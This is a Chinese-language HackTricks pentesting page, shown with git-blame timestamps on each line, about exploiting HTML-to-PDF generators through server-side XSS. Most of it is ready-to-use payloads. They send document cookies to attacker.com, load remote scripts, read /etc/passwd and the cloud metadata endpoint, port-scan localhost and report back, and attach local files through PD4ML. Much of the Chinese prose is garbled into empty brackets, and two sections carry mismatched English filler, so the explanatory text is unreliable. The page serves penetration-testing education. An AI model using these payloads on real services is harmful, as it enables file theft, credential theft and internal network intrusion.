2023-08-03 19:12:22 +00:00
# 服务器端 XSS（ ）
2022-04-28 16:01:33 +00:00
< details >
2023-08-03 19:12:22 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks 云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家 **网络安全公司** 工作吗？你想在 HackTricks 中看到你的 **公司广告**吗？或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗？请查看 [**订阅计划** ](https://github.com/sponsors/carlospolop )！
* 发现我们的独家 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 集合 [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )
* 获取 [**官方 PEASS & HackTricks 商品** ](https://peass.creator-spring.com )
* **加入** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**telegram 群组** ](https://t.me/peass ) 或 **关注** 我的 **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks\_live )**。**
* **通过向** [**hacktricks 仓库** ](https://github.com/carlospolop/hacktricks ) **和** [**hacktricks-cloud 仓库** ](https://github.com/carlospolop/hacktricks-cloud ) **提交 PR 来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
< / details >
2023-08-03 19:12:22 +00:00
## 服务器端 XSS（ ）
2022-04-30 10:09:20 +00:00
2023-08-03 19:12:22 +00:00
如果一个网页使用用户可控输入创建 PDF，
因此，如果**PDF 创建机器人发现**某种**HTML 标签**，它会**解释**它们，你可以**滥用**这种行为来引发**服务器端 XSS**。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
请注意，`< script ></ script > ` 标签并不总是有效，所以你需要一种不同的方法来执行 JS（ ， `<img` ）。\
此外，注意在常规的利用中，你将能够**查看/下载创建的 PDF**，因此你将能够看到你通过 JS **编写的所有内容** （例如使用 `document.write()` ）。但是，如果你**无法看到**创建的 PDF，
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 流行的 PDF 生成工具
2023-07-30 21:28:42 +00:00
2023-08-03 19:12:22 +00:00
* **wkhtmltopdf**：
* **TCPDF**： （ ）
* **PDFKit**：
* **iText**： ， ，
* **FPDF**：
2023-07-30 21:28:42 +00:00
2023-08-03 19:12:22 +00:00
## 攻击载荷
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 发现
2020-07-15 15:43:14 +00:00
```markup
2021-09-08 08:59:37 +00:00
<!-- Basic discovery, Write somthing -->
2020-07-15 15:43:14 +00:00
< img src = "x" onerror = "document.write('test')" / >
2021-09-08 08:59:37 +00:00
< script > document . write ( JSON . stringify ( window . location ) ) < / script >
< script > document . write ( '<iframe src="' + window . location . href + '"></iframe>' ) < / script >
2020-07-15 15:43:14 +00:00
<!-- Basic blind discovery, load a resource -->
< img src = "http://attacker.com" / >
< img src = x onerror = "location.href='http://attacker.com/?c='+ document.cookie" >
< script > new Image ( ) . src = "http://attacker.com/?c=" + encodeURI ( document . cookie ) ; < / script >
< link rel = attachment href = "http://attacker.com" >
```
2022-10-02 15:25:27 +00:00
### SVG
2021-06-16 09:00:28 +00:00
2023-08-03 19:12:22 +00:00
可以在此SVG负载中使用以下任何先前的负载。一个访问Burpcollab子域的iframe和另一个访问元数据端点的iframe被用作示例。
2021-06-16 09:00:28 +00:00
```markup
< svg xmlns:xlink = "http://www.w3.org/1999/xlink" version = "1.1" class = "root" width = "800" height = "500" >
2023-08-03 19:12:22 +00:00
< g >
< foreignObject width = "800" height = "500" >
< body xmlns = "http://www.w3.org/1999/xhtml" >
< iframe src = "http://redacted.burpcollaborator.net" width = "800" height = "500" > < / iframe >
< iframe src = "http://169.254.169.254/latest/meta-data/" width = "800" height = "500" > < / iframe >
< / body >
< / foreignObject >
< / g >
2021-06-16 09:00:28 +00:00
< / svg >
2022-04-30 10:09:20 +00:00
< svg width = "100%" height = "100%" viewBox = "0 0 100 100"
2023-08-03 19:12:22 +00:00
xmlns="http://www.w3.org/2000/svg">
< circle cx = "50" cy = "50" r = "45" fill = "green"
id="foo"/>
< script type = "text/javascript" >
// < ![CDATA[
alert(1);
// ]]>
< / script >
2022-04-30 10:09:20 +00:00
< / svg >
2021-06-16 09:00:28 +00:00
```
2023-08-03 19:12:22 +00:00
您可以在[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)中找到许多其他SVG有效载荷。
2021-06-16 09:00:28 +00:00
2023-08-03 19:12:22 +00:00
### 路径泄露
2020-07-15 15:43:14 +00:00
```markup
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
< img src = "x" onerror = "document.write(window.location)" / >
< script > document . write ( window . location ) < / script >
```
2023-08-03 19:12:22 +00:00
### 加载外部脚本
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
利用这个漏洞的最佳方式是滥用漏洞，使机器人在本地加载你控制的脚本。然后，你将能够在本地更改有效载荷，并使用相同的代码使机器人每次都加载它。
2020-07-15 15:43:14 +00:00
```markup
< script src = "http://attacker.com/myscripts.js" > < / script >
< img src = "xasdasdasd" onerror = "document.write('<script src=" https: / / attacker . com / test . js " > < / script > ')"/>
```
2023-08-03 19:12:22 +00:00
### 读取本地文件 / SSRF
2023-07-30 21:28:42 +00:00
{% hint style="warning" %}
2023-08-03 19:12:22 +00:00
将 `file:///etc/passwd` 更改为 `http://169.254.169.254/latest/user-data` 作为示例，**尝试访问外部网页（ ）
2023-07-30 21:28:42 +00:00
2023-08-03 19:12:22 +00:00
如果允许 SSRF， ，
2023-07-30 21:28:42 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
```markup
< script >
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
2021-09-08 08:59:37 +00:00
< / script >
```
```markup
< script >
2023-08-03 19:12:22 +00:00
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
2021-09-08 08:59:37 +00:00
< / script >
2020-07-15 15:43:14 +00:00
```
```markup
< iframe src = file:///etc/passwd > < / iframe >
< img src = "xasdasdasd" onerror = "document.write('<iframe src=file:///etc/passwd></iframe>')" / >
< link rel = attachment href = "file:///root/secret.txt" >
2020-11-04 10:26:58 +00:00
< object data = "file:///etc/passwd" >
< portal src = "file:///etc/passwd" id = portal >
2023-07-30 21:28:42 +00:00
< embed src = "file:///etc/passwd>" width = "400" height = "400" >
2023-08-03 19:12:22 +00:00
< style > < i f r a m e s r c = " f i l e : / / / e t c / p a s s w d " >
2023-07-30 21:28:42 +00:00
< img src = 'x' onerror = 'document.write(' < iframe src = file:///etc/passwd > < / iframe > ')'/>& text=& width=500& height=500
< meta http-equiv = "refresh" content = "0;url=file:///etc/passwd" / >
2020-07-15 15:43:14 +00:00
```
2022-07-06 02:55:19 +00:00
```markup
< annotation file = "/etc/passwd" content = "/etc/passwd" icon = "Graph" title = "Attached File: /etc/passwd" pos-x = "195" / >
```
2023-08-03 19:12:22 +00:00
### 机器人延迟
2022-07-06 02:55:19 +00:00
2023-08-03 19:12:22 +00:00
In some cases, web applications implement a delay mechanism to prevent automated bots from performing actions too quickly. This delay can be implemented in various ways, such as adding a time delay between requests or requiring users to solve a CAPTCHA before proceeding.
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
在某些情况下， ， ，
2020-07-15 15:43:14 +00:00
```markup
<!-- Make the bot send a ping every 500ms to check how long does the bot wait -->
< script >
2023-08-03 19:12:22 +00:00
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms` ;
time += 500;
}, 500);
2020-07-15 15:43:14 +00:00
< / script >
< img src = "https://attacker.com/delay" >
```
2023-08-03 19:12:22 +00:00
### 端口扫描
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
A port scan is a technique used to identify open ports on a target system. It involves sending network packets to different ports and analyzing the responses to determine which ports are open and potentially vulnerable to attack.
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
端口扫描是一种用于识别目标系统上开放端口的技术。它涉及向不同的端口发送网络数据包，并分析响应以确定哪些端口是开放的，并且可能容易受到攻击。
2020-07-15 15:43:14 +00:00
```markup
<!-- Scan local port and receive a ping indicating which ones are found -->
< script >
const checkPort = (port) => {
2023-08-03 19:12:22 +00:00
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}` ;
});
2020-07-15 15:43:14 +00:00
}
for(let i=0; i< 1000 ; i + + ) {
2023-08-03 19:12:22 +00:00
checkPort(i);
2020-07-15 15:43:14 +00:00
}
< / script >
< img src = "https://attacker.com/startingScan" >
```
2022-10-02 15:25:27 +00:00
### [SSRF](../ssrf-server-side-request-forgery/)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
这个漏洞可以很容易地转化为SSRF（ ） （ ？ ）
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 附件：
2022-12-27 12:57:39 +00:00
2023-08-03 19:12:22 +00:00
有一些HTML转PDF的引擎可以**指定PDF的附件**，比如**PD4ML**。你可以滥用这个功能来**附加任何本地文件**到PDF中。\
为了打开附件，我使用**Firefox打开文件并双击纸夹符号**来**存储附件**为一个新文件。\
使用Burp捕获**PDF响应**也应该在PDF中以**明文形式显示附件**。
2022-12-27 12:57:39 +00:00
{% code overflow="wrap" %}
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb - bucket.html -->
< html > < pd4ml:attachment src = "/etc/passwd" description = "attachment sample" icon = "Paperclip" / > < / html >
```
2023-08-03 19:12:22 +00:00
## 参考资料
2020-07-15 15:43:14 +00:00
2023-07-30 21:28:42 +00:00
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html ](https://lbherrera.github.io/lab/h1415-ctf-writeup.html )
* [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/ ](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/ )
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html ](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html )
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c ](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c )
2020-07-15 15:43:14 +00:00
2022-04-28 16:01:33 +00:00
< details >
2023-08-03 19:12:22 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks 云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗？想要在 HackTricks 中**宣传你的公司**吗？或者想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 发现我们的独家 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 集合——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**Telegram 群组** ](https://t.me/peass )，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库** ](https://github.com/carlospolop/hacktricks ) **和** [**hacktricks-cloud 仓库** ](https://github.com/carlospolop/hacktricks-cloud ) **提交 PR 来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
< / details >
